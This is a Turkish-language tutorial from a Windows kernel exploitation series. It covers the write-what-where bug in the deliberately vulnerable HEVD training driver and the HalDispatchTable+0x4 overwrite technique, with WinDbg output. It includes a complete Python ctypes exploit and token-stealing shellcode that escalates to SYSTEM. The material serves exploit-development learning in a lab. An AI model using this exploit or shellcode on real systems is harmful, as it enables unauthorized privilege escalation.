Windows Kernel Exploitation 5 - Arbitrary Memory Overwrite Açıgı
Ctypes daha çok low-level düzeyde çalışan yada çalışmaya karar veren kişiler için uygundur diyebiliriz. Buna örnek vermek adına; mesela kernel düzeyde çalışmalar yapılıyorsa - kernelde debug çalışmaları gibi- veya işletim sisteminde yer alan API’leri Python’da oluşturacağımız...
Windows Kernel istismarlarıyla ilgili çalışmalara devam ediyoruz. Serinin geride kalan kısımlarında ortam hazırlama, shellcode ve token alma, son olarak ise stack tabanlı bufferoverflow açığının kullanımı ile ilgiliydi. Şimdi ve bir sonraki yazılar gerçek türdeki güvenlik açıklarına doğru ilerlemek olacaktır ki bugünkü yazımız buralara atacağımız adım açısından önemli olacaktır.
Bugünkü yazımızın konusu Arbitrary Memory Overwrite (Write-What-Where) açığı olacaktır. Buradaki amacımız temel olarak Çekirdek dağıtım tablosundaki(where) shellcode (What) adresiyle bir işaretçinin üzerine yazmak olacaktır. Ortam ile ilgili pek fazla birşey belirtmeye gerek olduğunu düşünmüyorum. Bununla ilgili olarak serinin önceki yazılarını inceleyebilirsiniz.
Kaynak Kodların İncelenmesi 1 - Header Dosyasına bakış
Öncelikli olarak bizlere HEVD tarafından sağlanan zaafiyetli kodlara gözatıyoruz. İlk olarak header dosyasına yani ArbitraryWrite.h‘da yer alan kod parçacıklarından ilkine göz gezdirdiğimizde:
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
Kod parçacıcığının ilk satırında typedef yer alıyor ve bu c dilindeki veri yapılardan biridir. Typedef
kullanım amacı ise burada kendi veri tipimizi oluşturmada yardımcı olmasıdır. C dilindeki diğer bir yapı olan define
ile bazı benzerlikler gösterir fakat yinede farklılıkları olduğunu bilmekte fayda var.
Daha sonra ise WRITE_WHAT_WHERE geliyor. Bu satır _WRITE WHAT WHERE yapısına başvurmak için kullanılabilecek bir takma ad veya tanımlama diyebiliriz. Kod bloğunun son kısmına geldiğimizde ise PWRITE_WHAT_WHERE adlı bir işaretçinin de oluştuğunu görüyoruz. Orta kısımda ise What
ve Where
adında işaretçi olduğunu görüyoruz. _WRITE_WHAT_WHERE
, What ve Where’i içeren bu yapıya atıfta bulunmaktadır. Daha sonra PWRITE_WHAT_WHER
E referans verildiği zaman bu yapı için bir işaretçi oluyor.
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);
Dosyada yer alan son kod parçacığına göz gezdirdiğimizde; UserWriteWhatWhere
değişkeni PWRITE_WHAT_WHERE
veri türüyle ilişkilendirildiğini görüyoruz. Daha sonra ise TriggerArbitraryWrite()
kaynak dosyasına iletilir.
Kaynak Kodların İncelenmesi 2 - Ana kodlara bakış
Header dosyasına baktıktan sonraki durağımız ise ArbitraryWrite.c dosyasına bakmak olacaktır.
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
Yukarıdaki kod parçacığında gördüğünüz üzere What ve Where işaretçileri, NULL
işaretçileri olarak başlatılır. Aşağıdaki kod parçacıcığında ise zaafiyetin bulunduğu kısma göz atacağız.
#else
DbgPrint("[+] Triggering Arbitrary Write\n");
//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//
*(Where) = *(What);
Görüldüğü üzere WHAT
‘ın işaret ettiği değer WHERE
tarafından referans verilen bellek konumuna yazılabilir. Buradaki problem ise ProbeForRead()
ve ProbeForWrite
gibi WindowsAPI’ler kullanılarak, kullanıcı modunda WHAT ve WHERE değerlerinin yer alıp-almadığını doğrulayan hiçbir doğrulama mekanizmasının olmamasıdır. Bu istismarı yazının ilerleyen bölümlerinde kullanıcı modu shellcode’umuzda kullanabileceğz.
IOCTL Keşfi ve Sürücü İletişimi
Yukarıdaki kısımda zaafiyetin olduğu kısmı açıklamıştık. Ve bu kodu tetikleyebilmemiz için IOCTL koduna da ihtiyacımız bulunuyor. Bir önceki seride hatırlayacağınız gibi IDA Pro üzerinden IrpDeviceIoCtlHandler
fonksiyonunu incelemiştik. Fakat burada tüm kodlar için HackSysExtremeVulnerableDriver.h dosyasına bakacağız ve IOCTL kodunu manuel olarak hesaplayacağız. Tabi ki dileyen kişiler statik analiz yöntemiyle IDA Pro üzerinden de gidebilirler.
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
Gerekli IOCTL kodunu keşfedebilmek içinse kaynak kod tarafından sağlanan CTL_CODE
u 0x820’yi kullanabiliriz. Yukarıdaki python komutunu kullandıktan sonra IOCTL kodumuz 0x22200b
‘dir.
Bunun haricinde IDA Pro’ya geri dönüp TriggerArbitraryOverwrite
fonksiyonuna baktığımızda; resimde gördüğünüz gibi 2 ayrı 4 byte uzunluğu yer alıyor. Bir tane 4 byte uzunluğu WHAT
, diğer 4 byte uzunluğuda WHERE
‘e aittir.
Exploit Oluşturmadan Önce Kısa bir bilgi
Kullanılacak exploitler python dilinde olacaktır. Exploitlerde Python’daki Ctypes kütüphanesinden yararlanacağım. Bu yüzden kısa bir bilgi vermek istiyorum.
Ctypes, yabancı olan fonksiyonların Python’da kullanılmasını sağlayan bir kütüphanedir. Bu kütüphane, C programlama dilindeki uyumlu veri türlerini ve DLL’lerde veya paylaşılan kütüphanelerdeki çağrı fonksiyonlarının kullanılmasına izin veriyor.
Ctypes daha çok low-level düzeyde çalışan yada çalışmaya karar veren kişiler için uygundur diyebiliriz. Buna örnek vermek adına; mesela kernel düzeyde çalışmalar yapılıyorsa - kernelde debug çalışmaları gibi- veya işletim sisteminde yer alan API’leri Python’da oluşturacağımız projelerde kullanmak istiyorsak bu kütüphaneden yararlanabiliyoruz.
PoC Zamanı
Evet, gerekli bilgiler ve IOCTL kodundan sonra exploit yazma kısmına geçebiliriz.
#Python 2.7.16 ile olusturulmustur.
#ctypes kütüphanesinden yararlanıyoruz
import sys
import os
from ctypes import *
from subprocess import *
from struct import *
# Windows API etkileşimi için DLL'ler
def windll():
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
# DeviceIoControl() işlevine dönmek için sürücüyü tanıma
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
def kernel32():
handle = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
0xC0000000, # dwDesiredAccess
0, # dwShareMode
None, # lpSecurityAttributes
0x3, # dwCreationDisposition
0, # dwFlagsAndAttributes
None # hTemplateFile
)
poc = "\x41\x41\x41\x41" # What
poc += "\x42\x42\x42\x42" # Where
poc_length = len(poc)
# 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
def DeviceIoControl():
kernel32.DeviceIoControl(
handle, # hDevice
0x0022200B, # dwIoControlCode
poc, # lpInBuffer
poc_length, # nInBufferSize
None, # lpOutBuffer
0, # nOutBufferSize
byref(c_ulong()), # lpBytesReturned
None # lpOverlapped
)
Şimdi debugger ve debugee makinemizde gerekli bağlantıyı kuruyoruz ve exploit’i çalıştırıyoruz. Yukarıdaki çıktıda da gördüğünüz üzere şuan için geldiğimiz noktada belirli bir değer yazabiliyoruz. Bu değer yazmanın bize çekirdek modundan kullanıcı modu shellcode çalıştırmada nasıl yardımcı olabileceğine bir göz atalım.
Hatırlayacağınız gibi bir önceki yazımızda değindiğim stack tabanlı bufferoverflow açığında, kullanıcı modu belleğimiz herhangi bir denetim yapılmadan direkt olarak çekirdek moduna kopyalanmıştı. Ama şimdiki durumumuzda doğrudan çekirdek moduna herhangi bir bellek kopyası olayı yoktur. Fakat çekidek modundan kullanıcı modu shellcode yürütmek içinde bir teknik mevcuttur.
Bu teknik HalDispatchTable+0x4
istismar tekniği kapsamaktadır. Burada Shellcode
adresimizi Hal Dispatch Table
‘a yazacağız, daha sonra da NtQueryIntervalProfile
işleviyle çağırabileceğimiz bir Dispatch Table
işaretçisinin üzerine yazacağız.
HAL Dispatch - HAL Dispatch Table
HAl Dispatch’dan bahsedersek eğer; bu yapı isteğe bağlı HAL işlevine işaret eden bir yapıdır. Çekirdek ise bu tablonun bir örneğini tutar. Bu tablo, çekirdeğin read-write verileri bölümünde bulunur ve adresi HalDispatchTable
olarak dışarı export eder. Tablo başlangıçta birçoğu önemsiz fakat bazılarının da önemli olduğu fonksiyonların çoğunu (tamamı değil) içerir. HAL, burada hepsini olmasa da bazılarını geçersiz kılar. Belirli bir HAL için hiçbir anlamı olmayan fonksiyonlar çekirdeğin varsayılan değerine bırakılmıştır.
HAlDispatchTable
‘dan bahsedersek eğer; çeşitli HAL rutinlerine fonksiyon işaretçilerini tutan bir tablo gibi davranmaktan sorumludur. HAL (Hardware Abstraction Layer), kernel modu yürütme arasında bir yazılım katmanı ve bir donanım(anakart, CPU, NICS vb.) arabirim olarak davranmaktan sorumludur. Ve HAL ntoskrnl.exe
tarafından çağrılan hal.dll
‘de bulunur.
İstismar Tekniği
Arbitrary Write istismarıyla, çekirdek içerisindeki kontrollü bellek konumuna, kontrollü bir payload yazdırabiliriz. Daha önce belirttiğimiz gibi bunu HalDispatchTable’da bulunan bir işaretçinin üzerine yazacağız. Burada HalDispatchTable’ı kullanacağız ve onu kullanıcı modu perspektifinden dökümansız WindowsAPI’lerden biri olan NtQueryIntervalProfile
yardımıyla çağıracağız.
NTSTATUS
NtQueryIntervalProfile (
KPROFILE_SOURCE ProfileSource,
ULONG *Interval);
Çekirdekte nt!KeQueryIntervalProfile
öğesi çağrılır, buda HalDispatchTable+0x4
öğesinden yararlanmak için kullanılır. Eğer biz burada HalDispatchTable+0x4 üzerine yazıp NtQueryIntervalProfile
işlevini çağırırsak, bu bir tetikleyici görevi görür. Daha sonrada shelcode payload işaretcisini KernelLand
‘a yazabilir ve bir UserLand
fonksiyon çağrısı ile tetiklenmesini sağlayabiliriz.
İstismar Tekniği - Windbg Aşaması
Yukarıda istismar tekniğimizde 0x4 öğesi
ve diğer bilgiler yer alıyor. Öncelikli olarak bunun nereden geldiğine Windbg üzerinden bakabiliriz.
kd>u nt!NtQueryIntervalProfile
Yukarıdaki bilgilerde belirtildiği gibi NtQueryIntervalProfile
foksiyonu KeQueryIntervalProfile için
doğrudan çağrı yapar. Yukarıdaki WinDbg aşamasına baktığımızda bunu görebiliyoruz.
kd>u nt!KeQueryIntervalProfile
İlk WinDbg çıktısına baktığımızda KeQueryIntervalProfile
fonksiyonunu görüyoruz. KeQueryIntervalProfile
işlevinin HAL tablosundaki 0x4
konumuna özel olarak nasıl çağırdığını da görebiliriz. Bu kısımdan sonra exploitimizi tamamlama kısmına geçebiliriz.
Expoliti Tamamlama - Yol Haritası
Exploitimizi tamamlama kısmında atacağımız adımlara baktığımızda:
- İlk olarak tüm aygıt sürücüleri için yükleme adreslerini numaralandıracağız. Bunu da
EnumDeviceDrivers()
fonksiyonu yardımıyla yapacağız. - Daha sonra
GetDeviceDriverBaseNameA
fonksiyonu aracılığıyla sürücülerin temel adını bulacağız. - Ve
ntoskrnl.exe
için temel ad ve adresini alacağız. LoadLibraryExA
içinentoskrnl.exe
tanıtıcısını yükleyip,GetProcAddress
ileHalDispatchTable
adresini numaralandırılacak.HalDispatchTable
adresi bulunduğunda,HalDispatchTable + 0x4
(4 bayt ekleyerek) adresini hesaplayacağız ve bu işaretçiyi kullanıcı modu shellcode EnumDeviceDrivers()’aya bir işaretçi ile üzerine yazacağız.
Expoliti Tamamlama - EnumDeviceDrivers()
#EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
#Eğer fonksiyon başarısız olursa,hata işleme
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
Yukarıdaki kod parçacığında sürücülerin temel adresleri numaralandırılır ve bir dizine aktarılır. Temel adreslerin numaralandırılması bittikten sonra ise ntoskrnl.exe adresini bulmaya devam ediyoruz.
Expoliti Tamamlama - ntoskrnl.exe
#GetDeviceDriverBaseName() kullanarak,
#ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
# Eğer fonksiyon başarısızı olursa, hata işleme
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
#ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
# ntoskrnl.exe adresini göstermek için print update
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
Yukarıdaki kod parçacığına baktığımızda; bu temelde tüm temel adreslerin dışa aktarıldığı dizide dolaşır ve GetDeviceDriverBaseNameA() aracılığıyla ntoskrnl.exe dosyasını arar. Bulunduktan sonra ise kaydedilir.
Expoliti Tamamlama - LoadLibraryExA
# Numaralandırmaya başlama
kernel_handle = kernel32.LoadLibraryExA(
current_name, # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
None, # hFile (parameter must be null)
0x00000001 # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
)
Yukarıdaki kod parçacıcığına baktığımızda; LoadLibraryExA, tanıtıcıyı GetDeviceDriverBaseNameA() (ntoskrnl.exe) öğesinden alır. Daha sonra ise aşağıda gördüğünüz kod parçacığında, belleğe yüklenen tutamacı GetProcAddress() fonksiyonuna geçirmek için ilerler.
Expoliti Tamamlama - GetProcAddress()
hal = kernel32.GetProcAddress(
kernel_handle, # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
'HalDispatchTable' # lpProcName (name of value)
)
# Kullanıcı modunda ntoskrnl tabanını çıkarma
hal -= kernel_handle
# Çekirdek modunda ntoskrnl'in temel adresini ekleme
hal += base_address
# HAL + 0x4'ü hatırlıyorsunuz. Bu adreside alıyoruz
real_hal = hal + 0x4
# HAL ve HAL + 0x4 konumunu print update yapıyoruz.
print "[+] HAL location: {0}".format(hex(hal))
print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))
Yukaridaki kod parçacığına baktığımızda; GetProcAddress() bize HalDispatchTable ve HalDispatchTable + 0x4 adresini açıklayacaktır.
Burada bizim en çok ilgilendiren kısım HalDispatchTable + 0x4. HalDispatchTable + 0x4 için adresimiz olduğunda exploit kodumuzu uçmaya hazırlayabiliriz.
Expoliti Tamamlama - ShellCode’u Alma ve Ekleme
Bundan önceki serilerde shelcode’un nasıl alındığı ile ilgili olarak detaylıca belirtmiştim. Seriyle ilgili önceki yazılara bakabilirsiniz.
Expoliti Tamamlama - Final ve Çalıştırma
import ctypes, sys, struct
from ctypes import *
from subprocess import *
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
#Windows API etkileşimi için DLL'ler
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
#Shellcodu'muzu tanımlama ve Vırtualloc'a yükleme
payload = bytearray(
"\x90\x90\x90\x90" # NOP Sled
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x31\xc0" # xor eax,eax
"\x83\xc4\x24" # add esp,byte +0x24
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
buff = (c_char * len(payload)).from_buffer(payload)
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(payload)))
#Python, bir değeri döndürmek için id kullanırken,degerden 20 bytes'lık bir offset oluşturur.
#Id değeri döndürdükten sonra, döndürülen değeri 20 bytes'lık arttırmak gerekiyor.
payload_address = id(payload) + 20
payload_final = struct.pack("<L",ptr)
payload_final_address = id(payload_final) + 20
#Shellcode update ifadesinin yeri
print "[+] Address of ring0 payload: {0}".format(hex(payload_address))
#Shellcode'una işaretçi konumu
print "[+] Pointer for ring0 payload: {0}".format(hex(payload_final_address))
#EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
#Eğer fonksiyon başarısız olursa,hata işleme
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
#GetDeviceDriverBaseName() kullanarak,
#ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
# Eğer fonksiyon başarısızı olursa, hata işleme
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
#ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
# ntoskrnl.exe adresini göstermek için print update
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
#Numaralandırmaya başlanması
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
#HAL adresi alma
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Kullanıcı modunda ntoskrn tabanını çıkarma
hal_address -= kernel_handle
# Çekirdek modunda ntoskrnl'ın temel adresini ekleme
hal_address += base_address
# HalDispatchTable+0x4 için HAL adresine 0x4 ekleme
hal4 = hal_address + 0x4
print "[+] HalDispatchTable : {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
#What-Where
www = WriteWhatWhere()
www.What = payload_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
# DeviceIoControl() işlevine dönmek için sürücüyü tanıma
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
# 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong()), None)
#NtQueryIntervalProfile fonksiyonunu çağırıp, shellcode'unu yürütme
ntdll.NtQueryIntervalProfile(0x1234, byref(c_ulong()))
print "[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
Daha sonrasında exploit’i çalıştırdığımızda, sistemde yetkili olduğumuzu görebiliyoruz.
Referanslar
1- https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/hal_dispatch.htm
2- https://rootkits.xyz/blog/2017/09/kernel-write-what-where/
3- https://docs.python.org/2.7/
4- https://www.vergiliusproject.com/kernels/x86/Windows%207/SP1